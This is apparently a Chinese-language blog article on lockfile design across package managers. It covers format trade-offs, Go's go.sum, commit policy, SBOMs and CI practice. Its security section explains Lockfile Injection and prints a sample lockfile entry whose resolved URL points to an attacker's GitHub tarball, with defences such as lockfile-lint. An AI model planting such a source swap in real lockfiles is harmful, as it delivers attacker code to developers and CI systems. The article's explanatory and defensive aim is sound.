2019年,安全研究员 Liran Tal 做了一个实验。他向一个开源项目提交了一个看似普通的 Pull Request,添加了两个依赖包,代码审查一切正常——包名正确、版本有效、没有 typosquatting 痕迹。PR 被合并了。
但没有人注意到锁文件中一行微小的变化:一个名为 ms 的包,其下载源从 npm 官方 registry 被悄悄替换成了研究者的 GitHub 仓库。当其他开发者运行 npm install 时,他们安装的不是官方的 [email protected],而是研究者定制的"特供版"。
这个实验揭示了一个被长期忽视的盲区:锁文件,这个为了确保确定性构建而设计的安全机制,反而成了供应链攻击的隐形后门。
确定性构建:一个被低估的难题
理解锁文件为何存在,需要回到一个看似简单的问题:为什么同一个 package.json 在不同机器上会安装不同的依赖?
2010年之前,这个问题没有标准答案。Bundler 在 2010 年率先引入 Gemfile.lock,开创了锁文件的先河。当时的 Ruby 社区深受"在我机器上能跑"之苦,一个 gem install rails 可能今天安装的是 3.0.0,明天就变成了 3.0.1。
问题的根源在于 SemVer(语义化版本)。当你在 package.json 中声明 "lodash": "^4.0.0",你实际上是在说:“给我任何兼容 4.x 的版本”。这个设计初衷是为了自动获取 bug 修复,但代价是牺牲了确定性——今天安装的版本,明天可能就不同了。
2016 年 3 月 22 日的 left-pad 事件将这个问题推向了极端。一个只有 11 行代码的包被作者从 npm 上删除,全球 JavaScript 构建流水线瞬间崩溃——React、Babel、Webpack 数千个项目受到影响。npm 最终被迫手动恢复了该包,并修改了政策:被依赖的包超过 24 小时后不能再被删除。
但 left-pad 事件暴露了一个更深层的问题:现代软件建立在一张极其脆弱的依赖网络上,而这张网络的稳定性依赖于一个在理论上无解的问题——依赖解析是 NP 完全的。
锁文件的出现,本质上是在说:我们承认依赖解析是 NP 完全的,承认我们无法在每次安装时重新求解,所以我们把上一次求解的结果缓存下来。这个缓存,就是锁文件。
锁文件的本质:不仅仅是版本列表
Andrew Nesbitt 在 2026 年的论文《The Design Space of Lockfiles Across Package Managers》中,对七个主流包管理器进行了首次系统性对比研究。研究发现,虽然所有锁文件都记录了"安装了什么",但它们记录的内容和方式差异巨大。
核心信息:几乎所有锁文件都记录包名、版本和校验和。但 Gradle 是个例外——它的锁文件只记录 groupId、artifactId 和 version,不包含校验和,这是一个严重的安全隐患。
源地址:npm 和 Cargo 会记录包的来源 URL(resolved 或 source 字段)。这对于验证包的来源至关重要。Go 的做法更极端——go.mod 本身就记录版本,go.sum 只存储校验和,两者分工明确。
依赖关系:Pipenv、Gradle 和 Go 不以嵌套方式展示间接依赖。Go 用 //indirect 注释区分直接和间接依赖,而 Pipenv 和 Gradle 则完全不区分。npm、pnpm、Cargo 和 Poetry 提供深度为 1 的树结构。
元数据:npm 的锁文件包含大量额外信息——许可证详情、资金信息等,直接从 package.json 复制。这虽然提供了更多上下文,但也让锁文件变得更冗长、更难人工审查。
格式之争:JSON、YAML 还是 TOML?
锁文件格式的选择并非偶然,它直接影响两个关键指标:合并友好性和可读性。
扁平 vs 嵌套:扁平结构的合并冲突更少。当每个包是独立的条目时,两个开发者添加不同的依赖不会触及相同的行。Git 可以自动合并。嵌套结构则不同——如果两个分支更新了同一个间接依赖,通往该依赖的路径可能不同,即使两个分支解析到了相同的版本,也会产生冲突。
JSON 的问题:JSON 不支持尾随逗号,这意味着添加一个条目至少修改两行。深度嵌套的 JSON 产生大量噪音差异。npm 的 package-lock.json 采用嵌套 JSON,这在早期匹配了 node_modules 结构,但随着项目规模增长,合并冲突成了常态。
YAML 的陷阱:YAML 更可读,但解析歧义是个问题。pnpm 通过使用 YAML 的严格子集来规避这个问题,但大多数项目不会保持这种纪律。Yarn v1 使用了一种"看起来像 YAML 但不是 YAML"的自定义格式,导致解析器难以处理。
TOML 的优势:TOML 允许尾随逗号,条目保持一致的缩进,解析器对边缘情况达成一致。Cargo.lock 和 Poetry.lock 都采用 TOML,每行一个 [[package]] 块,按字母顺序排序,合并非常干净。
行式格式的极致:Go 的 go.sum 采用最简单的行式格式——一行一个模块版本和其校验和。这种格式差异最干净,但无法表达结构化元数据。
| 格式 | 文件格式 | 校验和 | 源 URL | 合并友好性 |
|---|---|---|---|---|
| go.mod + go.sum | 行式 | SHA-256 | 隐含 | 优秀 |
| Cargo.lock | TOML | SHA-256 | 是 | 良好 |
| pnpm-lock.yaml | YAML | SHA-512 | Registry | 一般 |
| poetry.lock | TOML | SHA-256 | 是 | 一般 |
| package-lock.json | JSON | SHA-512 | 是 | 较差 |
安全陷阱:当守护者成为攻击向量
锁文件的核心矛盾在于:它必须被机器读取,但它也被人审查。这个矛盾正是攻击者的突破口。
Lockfile Injection 攻击
Liran Tal 在 2019 年演示的攻击手法被称为"Lockfile Injection"。攻击者通过 PR 向项目添加看似正常的依赖,但实际修改了锁文件中某个现有依赖的下载源。
[email protected]:
version "2.1.1"
resolved "https://github.com/attacker/ms/tarball/master" // 应该是 registry.npmjs.org
integrity "sha512-..."
当开发者或 CI 系统运行 npm install 时,包管理器会按照锁文件中的 resolved 字段下载包——这个字段指向攻击者控制的服务器。
这种攻击之所以有效,是因为:
- GitHub 默认折叠超过几百行的 diff,而锁文件动辄数千行
- 开发者普遍认为锁文件是"机器生成的,不需要审查"
- 即便审查,在数千行字符变化中找到一行 URL 替换极其困难
供应链防御的两难
Tal 随后开发了 lockfile-lint 工具来防御这类攻击。核心策略是验证所有资源:
- 必须通过 HTTPS 提供
- 必须来自受信任的源(如 npmjs.org、registry.yarnpkg.com)
但这引出了另一个问题:锁文件应该锁定的是版本,还是来源?
如果只锁定版本,攻击者可以通过 typosquatting 或 registry 投毒攻击。如果锁定来源,企业内部的私有 registry 需要重写所有锁文件中的 URL。
npm 的 npm ci 命令提供了一个折中方案:它强制严格按照锁文件安装,如果 package.json 和 package-lock.json 不一致就直接失败。这比 npm install 更安全,因为后者会静默更新锁文件。
Checksum 验证的盲点
几乎所有现代锁文件都包含校验和,用于验证下载的包与解析时的一致。但校验和验证有一个致命假设:解析时的包是可信的。
如果攻击者在某个版本发布后立即替换了包内容(在 registry 尚未传播校验和之前),锁文件记录的将是恶意包的校验和。后续所有安装都会"正确地"验证通过——因为你验证的是恶意包的完整性。
Go 的解决方案是全局校验和数据库 sum.golang.org。所有 Go 模块的校验和都被集中记录,任何人无法篡改历史。这是为什么 Filippo Valsorda 强调"go.sum 不是锁文件"——它只是全局校验和数据库的本地缓存,版本锁定实际上由 go.mod 完成。
库 vs 应用:一个被反复争论的问题
锁文件最持久的争议是:库项目应该提交锁文件吗?
传统观点:库的消费者不会使用库的锁文件。每个消费者会根据自己的依赖约束重新解析。因此,库提交锁文件没有意义,反而可能给维护者一种虚假的安全感。
Rust 社区长期遵循这个原则:Cargo 官方文档明确建议,二进制项目应该提交 Cargo.lock,库项目不应该。
2023 年的转变:Rust 团队改变了立场。在 2023 年 8 月的博客文章中,Cargo 团队宣布不再强制建议库不提交锁文件,而是让开发者自行决定。
原因是多方面的:
- 新开发者体验:没有锁文件的库,CI 可能因为某个依赖被撤回或发布 bug 版本而突然失败,这会让新贡献者感到困惑
- MSRV 验证:如果库需要支持最低 Rust 版本,锁文件是固定依赖树以便验证的有效方式
- git bisect 困难:没有锁文件,很难追溯历史版本使用了哪些依赖
更重要的是,现在有了 Dependabot 和 Renovate 这样的自动化工具。库维护者可以提交锁文件,同时定期运行依赖更新——这比"不提交锁文件"更能保证与最新依赖的兼容性。
npm 生态则从一开始就建议所有项目都提交 package-lock.json。原因很简单:JavaScript 生态的依赖树极其庞大,不锁定版本会导致不可预测的行为。
设计哲学的分歧:Go 为何与众不同
Go 的依赖管理设计是最独特的。Filippo Valsorda 在 2026 年的文章《go.sum Is Not a Lockfile》中澄清了一个长期误解:go.sum 不是传统意义上的锁文件。
最小版本选择(MVS)
Go 采用一种叫"最小版本选择"(Minimal Version Selection)的算法。当多个依赖需要同一个模块的不同版本时,Go 选择满足所有约束的最小版本——而不是最新版本。
这与 npm 的策略截然相反。npm 倾向于选择满足约束的最新版本,这意味着:
- 同一个
package.json在不同时间安装可能得到不同的依赖树 - 需要锁文件来冻结"解析结果"
Go 的 MVS 天然具有确定性:相同的 go.mod 总是产生相同的依赖树。因此 go.mod 本身就承担了版本锁定的功能,而 go.sum 只是一个全局校验和数据库的本地缓存。
分离关注点
Go 将锁文件的两个职责拆分到两个文件:
go.mod:版本约束和锁定go.sum:完整性验证
这种分离带来的好处:
- 两个文件都是行式格式,差异极干净
go.mod的变化意味着依赖变更,值得审查go.sum的变化只是新增校验和,机械性更新
代价是复杂性:开发者需要理解两个文件的关系。但 Go 团队认为这种分离是值得的——它让版本变化和完整性验证成为两个独立的关注点。
锁文件与 SBOM:殊途同归?
2025 年,Andrew Nesbitt 提出了一个发人深省的问题:锁文件是否本质上就是 SBOM(软件物料清单)?
从数据角度看,两者记录的信息高度重叠:
- 组件名称和版本
- 来源 URL
- 校验和
- 组件间依赖关系
差异在于目的。锁文件服务于包管理器的安装流程,SBOM服务于供应链安全审计。锁文件格式由各包管理器自行定义,SBOM 有 CycloneDX 和 SPDX 两个行业标准。
但这个差异正在模糊。欧盟的网络弹性法案(Cyber Resilience Act)将推动供应商提供 SBOM,这个压力会传导到上游开源项目。目前典型的工作流是:从锁文件生成 SBOM,使用 Syft 或 Trivy 等工具转换格式。
如果包管理器直接输出 SBOM 格式的锁文件呢?
好处显而易见:
- 安全扫描工具可以直接读取锁文件,无需生态特定的解析器
- 跨语言项目的依赖图可以用统一格式表示
- 项目默认就拥有 SBOM,无需额外生成步骤
但代价也很明显:
- CycloneDX 和 SPDX 的 YAML/JSON 格式比专用锁文件更冗长
- 合并友好性会下降——添加一个依赖可能产生几十行差异
- 生态特定的语义(如 npm 的 peer dependencies)需要通过扩展字段表达,通用工具无法理解
Python 生态正在尝试 PEP 751,定义一个标准化的 pylock.toml 格式。这不是 CycloneDX,但解决了同一个问题:Poetry、PDM、pip-tools、uv 都有自己的锁文件格式,统一格式可以减少工具碎片化。
实践指南
何时提交锁文件
应用项目:始终提交。没有例外。这是确保生产环境与开发环境一致性的唯一可靠方式。
库项目:
- 如果你的 CI 经常因为依赖问题失败,提交锁文件
- 如果你需要支持 MSRV 或特定运行时版本,提交锁文件
- 配置 Dependabot 或 Renovate 定期更新依赖,而不是手动更新
CI/CD 最佳实践
# 不要用 npm install,用 npm ci
npm ci --prefer-offline
# pnpm 的等价命令
pnpm install --frozen-lockfile
# Cargo 的推荐方式
cargo build --locked
npm install 会检查版本约束并可能更新锁文件。npm ci 则严格按照锁文件安装,任何不一致都会失败。在 CI 环境中,你希望的是后者。
锁文件审查
- 使用
lockfile-lint验证所有依赖来自受信任的源 - 在 PR 模板中提醒审查者注意锁文件中的
resolved字段 - 配置 CI 在检测到依赖源变更时发出警告
- 限制锁文件修改权限:只允许核心维护者修改,或要求额外审查
合并冲突处理
大多数现代包管理器可以自动解决锁文件合并冲突:
# npm:重新运行安装命令
npm install
# Yarn:Yarn 会自动合并
yarn install
# pnpm:同样自动处理
pnpm install
如果冲突复杂,删除锁文件并重新生成是最后的手段——但注意这会更新所有间接依赖到最新版本,可能引入意外变化。
锁文件是现代软件开发的一个缩影:我们用复杂性换取确定性,用信任换取效率。它解决了"在我机器上能跑"的问题,但引入了新的攻击面;它让构建可复现,但也让依赖更新变得不透明。
理解锁文件的设计权衡,不是为了找到一个"正确答案",而是为了在特定场景下做出明智的权衡。没有完美的锁文件格式,只有适合特定生态系统的选择。而随着供应链安全日益重要,锁文件与 SBOM 的边界可能会进一步模糊——最终,它们可能只是同一事物的两种表述。
参考资料
- The Design Space of Lockfiles Across Package Managers (arXiv, 2025)
- Lockfile Format Design and Tradeoffs - Andrew Nesbitt (2026)
- Lockfiles Killed Vendoring - Andrew Nesbitt (2026)
- go.sum Is Not a Lockfile - Filippo Valsorda (2026)
- Why npm lockfiles can be a security blindspot - Snyk (2019)
- npm – Catching Up with Package Lockfile Changes in v7 (2021)
- Change in Guidance on Committing Lockfiles - Rust Blog (2023)
- Could lockfiles just be SBOMs? - Andrew Nesbitt (2025)
- Cargo.toml vs Cargo.lock - The Cargo Book
- Understanding Lockfiles - Shalvah’s Blog (2021)